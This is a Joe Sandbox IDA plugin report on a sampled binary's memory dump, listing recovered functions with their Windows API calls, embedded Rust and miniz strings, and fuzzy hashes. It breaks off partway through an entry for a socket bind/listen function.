Function 00007FF71778FFF0 Relevance: 23.1, APIs: 6, Strings: 9, Instructions: 585COMMON

Download Yara Rule

Strings

assertion failed: buf.len() >= MAX_SIG_DIGITS, xrefs: 00007FF71779110C, 00007FF717792863
assertion failed: d.minus > 0, xrefs: 00007FF7177910AC, 00007FF717791E7F, 00007FF717792803
+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 00007FF717792033, 00007FF7177928C1
assertion failed: d.mant.checked_sub(d.minus).is_some(), xrefs: 00007FF7177910F4, 00007FF717791EC7, 00007FF71779284B
assertion failed: edelta >= 0library\core\src\num\diy_float.rs, xrefs: 00007FF717792893
assertion failed: d.plus > 0, xrefs: 00007FF7177910C4, 00007FF717791E97, 00007FF71779281B
assertion failed: d.mant > 0, xrefs: 00007FF717791094, 00007FF717791E67, 00007FF7177927EB
assertion failed: d.mant.checked_add(d.plus).is_some(), xrefs: 00007FF7177910DC, 00007FF717791EAF, 00007FF717792833
assertion failed: d.mant + d.plus < (1 << 61), xrefs: 00007FF71779287B

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: +NaNinf00e00E0assertion failed: ndigits > 0$assertion failed: buf.len() >= MAX_SIG_DIGITS$assertion failed: d.mant + d.plus < (1 << 61)$assertion failed: d.mant > 0$assertion failed: d.mant.checked_add(d.plus).is_some()$assertion failed: d.mant.checked_sub(d.minus).is_some()$assertion failed: d.minus > 0$assertion failed: d.plus > 0$assertion failed: edelta >= 0library\core\src\num\diy_float.rs
API String ID: 0-3544694999
Opcode ID: 79376c6c0be819ca5d3616991f86a7ced4d1cfdc7bbbdc0e5876d4f0e02be714
Instruction ID: 4d73a0d7cf821569212625a5e8ee0ecd2442247bac815fe41147ffe218130d61
Opcode Fuzzy Hash: 79376c6c0be819ca5d3616991f86a7ced4d1cfdc7bbbdc0e5876d4f0e02be714
Instruction Fuzzy Hash: BF422822E16AC28AEB31DF3099507F86360FB59778F845235DE5C17A86DF78668EC310

Function 00007FF717763AA0 Relevance: 21.8, APIs: 14, Instructions: 810COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0a51d79f36a4b625d5daad74d693dc1564e18173d3cd8f5a3e89b05dea94e59
Instruction ID: d5db3c933fe65b26f8a83eb8d502e765786b838e6e02e22a70f24b93d36e315e
Opcode Fuzzy Hash: f0a51d79f36a4b625d5daad74d693dc1564e18173d3cd8f5a3e89b05dea94e59
Instruction Fuzzy Hash: 3D621C62E08F9244FB31AA2594047B9A651AB09BB4F94C135EE5D177CBCE3CD69FC320

Function 00007FF7177B5CE0 Relevance: 16.7, APIs: 1, Strings: 8, Instructions: 950COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF7177B6103

Part of subcall function 00007FF7177B7330: _assert.MSVCRT ref: 00007FF7177B77A9

Strings

d->m_lookahead_size >= len_to_move, xrefs: 00007FF7177B6A76
max_match_len <= TDEFL_MAX_MATCH_LEN, xrefs: 00007FF7177B64ED
, xrefs: 00007FF7177B5FFC
lookahead_size >= cur_match_len, xrefs: 00007FF7177B60FC
0, xrefs: 00007FF7177B6ACB
(cur_match_len >= TDEFL_MIN_MATCH_LEN) && (cur_match_dist >= 1) && (cur_match_dist <= TDEFL_LZ_DICT_SIZE), xrefs: 00007FF7177B6BCA
miniz.c, xrefs: 00007FF7177B60F5, 00007FF7177B64E6, 00007FF7177B67A1, 00007FF7177B6A6F, 00007FF7177B6BC3
(match_len >= TDEFL_MIN_MATCH_LEN) && (match_dist >= 1) && (match_dist <= TDEFL_LZ_DICT_SIZE), xrefs: 00007FF7177B67A8

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: _assert
String ID: $(cur_match_len >= TDEFL_MIN_MATCH_LEN) && (cur_match_dist >= 1) && (cur_match_dist <= TDEFL_LZ_DICT_SIZE)$(match_len >= TDEFL_MIN_MATCH_LEN) && (match_dist >= 1) && (match_dist <= TDEFL_LZ_DICT_SIZE)$0$d->m_lookahead_size >= len_to_move$lookahead_size >= cur_match_len$max_match_len <= TDEFL_MAX_MATCH_LEN$miniz.c
API String ID: 1222420520-709428966
Opcode ID: 04a39aedaf04f6f151b943eec858ecf83e37a50d2575af202dce6b83d8f278e9
Instruction ID: b678e44d9f0db62e37bc78119ca45602b750593fea7562cc71722b1d2952482f
Opcode Fuzzy Hash: 04a39aedaf04f6f151b943eec858ecf83e37a50d2575af202dce6b83d8f278e9
Instruction Fuzzy Hash: 0D92F472A18A9286E7649F24C04077DB7A1FB68B58F948135CF4E83689DF38E65EC710

Function 00007FF7177540F0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 302fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF717754157
memcpy.MSVCRT ref: 00007FF717754183
memset.MSVCRT ref: 00007FF71775429B
FindFirstFileW.KERNEL32 ref: 00007FF7177542A6
memcpy.MSVCRT ref: 00007FF71775430C
GetLastError.KERNEL32 ref: 00007FF717754363
FindClose.KERNEL32 ref: 00007FF7177544B1

Strings

*\\?\\??\:\\\.\\\path is not valid, xrefs: 00007FF717754198

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy$Find$CloseErrorFileFirstLastmemset
String ID: *\\?\\??\:\\\.\\\path is not valid
API String ID: 3412300865-1181881060
Opcode ID: 33443f6899e1fdf60af055cc351df934df5838fda767555b26b954e47405b89d
Instruction ID: a4cd940e48a66cad10fb8762193f1007c4d6959404c72484081452783e7e1e1c
Opcode Fuzzy Hash: 33443f6899e1fdf60af055cc351df934df5838fda767555b26b954e47405b89d
Instruction Fuzzy Hash: 94C1A271B08A9144FB60AB61D8443FDA6A1BB49BE8F844535DD5C0BBCBCE3DE54E8320

Function 00007FF71777D671 Relevance: 15.2, Strings: 12, Instructions: 199COMMON

Download Yara Rule

Strings

xmm1, xrefs: 00007FF71777D671
xmm2, xrefs: 00007FF71777D7BF
xmm1, xrefs: 00007FF71777D6A1
xmm2, xrefs: 00007FF71777D793
xmm1, xrefs: 00007FF71777D73B
xmm1, xrefs: 00007FF71777D70F
xmm2, xrefs: 00007FF71777D81D
xmm2, xrefs: 00007FF71777D7EB
mxcs, xrefs: 00007FF71777D6F9
xmm1, xrefs: 00007FF71777D6CD
xmm2, xrefs: 00007FF71777D767
xmm3, xrefs: 00007FF71777D84F

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: mxcs$xmm1$xmm1$xmm1$xmm1$xmm1$xmm2$xmm2$xmm2$xmm2$xmm2$xmm3
API String ID: 0-1236548232
Opcode ID: 282c2ecf0a13b10417f98fcc2de153ca1e2f6ae0caace3dd0a504f6b69fb5534
Instruction ID: 5a1f6589ebf17de935bee7d6a32fef0a0b32a55507581377fd83f0b7154933f2
Opcode Fuzzy Hash: 282c2ecf0a13b10417f98fcc2de153ca1e2f6ae0caace3dd0a504f6b69fb5534
Instruction Fuzzy Hash: D6714E23A0C4934AE370FA355444939AEE2CB9E754FE4D032C9490EAC9D97FA44FD7A0

Function 00007FF717757170 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 293COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00007FF7177571A8
memset.MSVCRT ref: 00007FF7177571D8
GetFileInformationByHandleEx.KERNEL32 ref: 00007FF7177571EE
memcpy.MSVCRT ref: 00007FF717757294

Strings

-pty, xrefs: 00007FF7177575FE, 00007FF717757633
win-, xrefs: 00007FF71775765A
msys, xrefs: 00007FF7177575E4
cygw, xrefs: 00007FF717757653

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ConsoleFileHandleInformationModememcpymemset
String ID: -pty$cygw$msys$win-
API String ID: 4206110311-1440016460
Opcode ID: 5b7725837cd16be9d7651fe7001e6393701df8f01cea7ab11087e54921fc731e
Instruction ID: cccd6be3e85a68cf15e82b7bc9b82ce414464402df255220ed8358b18f637a7c
Opcode Fuzzy Hash: 5b7725837cd16be9d7651fe7001e6393701df8f01cea7ab11087e54921fc731e
Instruction Fuzzy Hash: 7EB11762B09AD249FB70AB6188543F9A661EB48768FC44035DE1D4BBC7CE3D914FC3A0

Function 00007FF717767140 Relevance: 13.8, APIs: 9, Instructions: 298fileprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF717767204
memset.MSVCRT ref: 00007FF717767225
Module32FirstW.KERNEL32 ref: 00007FF717767237
Module32NextW.KERNEL32 ref: 00007FF7177672C7
UnmapViewOfFile.KERNEL32 ref: 00007FF717767423
CloseHandle.KERNEL32 ref: 00007FF71776742B
UnmapViewOfFile.KERNEL32 ref: 00007FF7177674BF
CloseHandle.KERNEL32 ref: 00007FF7177674C7
CloseHandle.KERNEL32 ref: 00007FF71776756D

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle$FileModule32UnmapView$CreateFirstNextSnapshotToolhelp32memset
String ID:
API String ID: 2278125577-0
Opcode ID: 016300fd1fcdfac6d9336933cb7c6600dba760ac4fdae651b4ed9979cd9d6665
Instruction ID: d48f5ff26b624a5ed7178b85742c385a09ffa3d530009693ece684f3941b69d2
Opcode Fuzzy Hash: 016300fd1fcdfac6d9336933cb7c6600dba760ac4fdae651b4ed9979cd9d6665
Instruction Fuzzy Hash: 78E19A61A18FC185F770AF25D8443F8A361FB497A8F848135DE5C1B79AEF38958E8360

Function 00007FF71778B9B0 Relevance: 13.1, APIs: 5, Strings: 3, Instructions: 1128COMMON

Download Yara Rule

Strings

capacity overflow, xrefs: 00007FF71778C9B7
called `Result::unwrap()` on an `Err` valueErrorLayoutError, xrefs: 00007FF71778BBAF
a formatting trait implementation returned an error when the underlying stream did notlibrary\alloc\src\fmt.rs, xrefs: 00007FF71778BAF5

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: a formatting trait implementation returned an error when the underlying stream did notlibrary\alloc\src\fmt.rs$called `Result::unwrap()` on an `Err` valueErrorLayoutError$capacity overflow
API String ID: 0-1329486492
Opcode ID: 6c4d2e56daff0ecd167304263bbc487717256c1edb8efd0f07cef1487183eecf
Instruction ID: e853c51233d42333ec791c1c40efc25e41fec7c6c03421e011ab32106b21d309
Opcode Fuzzy Hash: 6c4d2e56daff0ecd167304263bbc487717256c1edb8efd0f07cef1487183eecf
Instruction Fuzzy Hash: F3A23762F14FA185F701AB34D8032B8A760AB5E7E4F844735EE5917B97DF38924E8360

Function 00007FF717792030 Relevance: 11.7, Strings: 9, Instructions: 442COMMON

Download Yara Rule

Strings

assertion failed: buf.len() >= MAX_SIG_DIGITS, xrefs: 00007FF71779110C, 00007FF717792863
assertion failed: d.minus > 0, xrefs: 00007FF7177910AC, 00007FF717792803
+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 00007FF717792033, 00007FF7177928C1
assertion failed: d.mant.checked_sub(d.minus).is_some(), xrefs: 00007FF7177910F4, 00007FF71779284B
assertion failed: edelta >= 0library\core\src\num\diy_float.rs, xrefs: 00007FF717792893
assertion failed: d.plus > 0, xrefs: 00007FF7177910C4, 00007FF71779281B
assertion failed: d.mant > 0, xrefs: 00007FF717791094, 00007FF7177927EB
assertion failed: d.mant.checked_add(d.plus).is_some(), xrefs: 00007FF7177910DC, 00007FF717792833
assertion failed: d.mant + d.plus < (1 << 61), xrefs: 00007FF71779287B

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: +NaNinf00e00E0assertion failed: ndigits > 0$assertion failed: buf.len() >= MAX_SIG_DIGITS$assertion failed: d.mant + d.plus < (1 << 61)$assertion failed: d.mant > 0$assertion failed: d.mant.checked_add(d.plus).is_some()$assertion failed: d.mant.checked_sub(d.minus).is_some()$assertion failed: d.minus > 0$assertion failed: d.plus > 0$assertion failed: edelta >= 0library\core\src\num\diy_float.rs
API String ID: 0-3544694999
Opcode ID: 4b3ec176b76211cd2a10c7cdccc78feed1dd0a790ac80f4a690f6e5a2fb89574
Instruction ID: 4b30eb8e3ec0bf2152679f95ceebfc341aa33b23b114971f3180009cebfc7417
Opcode Fuzzy Hash: 4b3ec176b76211cd2a10c7cdccc78feed1dd0a790ac80f4a690f6e5a2fb89574
Instruction Fuzzy Hash: 30F11462B05F8586EB14EF74A8416E8A761FB487E8F844036DE0D27B9ACF38D55EC350

Function 00007FF717761A40 Relevance: 10.9, APIs: 7, Instructions: 370COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF717761CFA
GetFullPathNameW.KERNEL32 ref: 00007FF717761D0F
GetLastError.KERNEL32 ref: 00007FF717761D1A
GetLastError.KERNEL32 ref: 00007FF717761D33

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$FullNamePath
String ID:
API String ID: 2482867836-0
Opcode ID: 68181311d1e7affc7036209678d29e24dd506b2e5666e0de4cbbfc831251b7dd
Instruction ID: 81161a46fc298f0e3aac683c84ce526398caa63c4fcd02545d1e86b7f28ebdd4
Opcode Fuzzy Hash: 68181311d1e7affc7036209678d29e24dd506b2e5666e0de4cbbfc831251b7dd
Instruction Fuzzy Hash: 00E19361B05F8145FB61AB25E8483F9A665BF49BE8F848035EE0C5778ADF3CD58E8310

Function 00007FF7177B7330 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 425COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF7177B77A9

Strings

!d->m_output_flush_remaining, xrefs: 00007FF7177B73B0
d->m_pOutput_buf < d->m_pOutput_buf_end, xrefs: 00007FF7177B77A2
miniz.c, xrefs: 00007FF7177B73A9, 00007FF7177B779B
/, xrefs: 00007FF7177B74BC

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: _assert
String ID: !d->m_output_flush_remaining$/$d->m_pOutput_buf < d->m_pOutput_buf_end$miniz.c
API String ID: 1222420520-939395013
Opcode ID: a487f9df0897c6ae8324075d8e35fc5177824fb5c02a170f67c9abbfe35eaa34
Instruction ID: 0faee4c08d82d2ac52fc8102570dc1564a9aae2984c8e8b7f03e7b4c1498be0c
Opcode Fuzzy Hash: a487f9df0897c6ae8324075d8e35fc5177824fb5c02a170f67c9abbfe35eaa34
Instruction Fuzzy Hash: 73124172A04A45CBD758DF39C44066CBBA1FB68B5CF884136CE0987789DB39E94EC790

Function 00007FF71773D520 Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 360COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF71773D5A5
memcpy.MSVCRT ref: 00007FF71773D639
memset.MSVCRT ref: 00007FF71773EBED

Part of subcall function 00007FF717760EF0: GetStdHandle.KERNEL32(-7FFFFFFFFFFFFF58,?,00001000,?,-7FFFFFFFFFFFFF58,?,00000000,00001FF0), ref: 00007FF717760F1F
Part of subcall function 00007FF717760EF0: GetLastError.KERNEL32(-7FFFFFFFFFFFFF58,?,00001000,?,-7FFFFFFFFFFFFF58,?,00000000,00001FF0), ref: 00007FF717760F2F

Strings

assertion failed: filled <= self.buf.init, xrefs: 00007FF71773D678, 00007FF71773EC6E

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memset$ErrorHandleLastmemcpy
String ID: assertion failed: filled <= self.buf.init
API String ID: 4037564346-906094691
Opcode ID: 93abf614279afb875334d376a501014e7fc199743063c094d7dad7027cce985f
Instruction ID: 8795e4ebeeed2ca53c682ff58f5c655e36ba027e3e58f731b1ea28b0f3807e2a
Opcode Fuzzy Hash: 93abf614279afb875334d376a501014e7fc199743063c094d7dad7027cce985f
Instruction Fuzzy Hash: 89C1D562F04F5546EA14EB6298016BDA7A1BB4CBE4F948836DE4D53742DF3CE09AC310

Function 00007FF7177B7FA0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 429COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF7177B849C

Strings

bits <= ((1U << len) - 1U), xrefs: 00007FF7177B8495
miniz.c, xrefs: 00007FF7177B848E, 00007FF7177B84DD
code < TDEFL_MAX_HUFF_SYMBOLS_2, xrefs: 00007FF7177B84E4

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: _assert
String ID: bits <= ((1U << len) - 1U)$code < TDEFL_MAX_HUFF_SYMBOLS_2$miniz.c
API String ID: 1222420520-2298030977
Opcode ID: c075d9dd20240d24c3aa77f113a6d644868bbeba7f4ba79e2041725402f427c6
Instruction ID: 88a5e6241cdbe898e40f5f5ab1ada03aa453c966a36f572ddcb4e71829e43f00
Opcode Fuzzy Hash: c075d9dd20240d24c3aa77f113a6d644868bbeba7f4ba79e2041725402f427c6
Instruction Fuzzy Hash: 8602E732A0CA95CFD7299E28C4402BDBBA1F768B58F984135CE894764ADB3DD50FC790

Function 00007FF71774DA50 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF71774DA2F), ref: 00007FF71774DA7D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF71774DA2F), ref: 00007FF71774DC10

Strings

overflow when subtracting durations, xrefs: 00007FF71774DBF8
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF71774DC2D

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorFrequencyLastPerformanceQuery
String ID: called `Result::unwrap()` on an `Err` value$overflow when subtracting durations
API String ID: 3362413890-1633623230
Opcode ID: e110d0550d4be53cca64662aa36c9b3c1f6baef898b34e672dcbe532d5d85635
Instruction ID: bc1cd1ef61e8b0cbd5f780015a814a6fd64f8145eb8464c3d9b8f02a30c2110e
Opcode Fuzzy Hash: e110d0550d4be53cca64662aa36c9b3c1f6baef898b34e672dcbe532d5d85635
Instruction Fuzzy Hash: 78612A31B18A9255FB15EB64D9013BDA361AF897A4FD48031DE4F06B86DE2CA98EC350

Function 00007FF717766860 Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON

Download Yara Rule

APIs

bind.WS2_32 ref: 00007FF7177668FE
listen.WS2_32 ref: 00007FF717766910
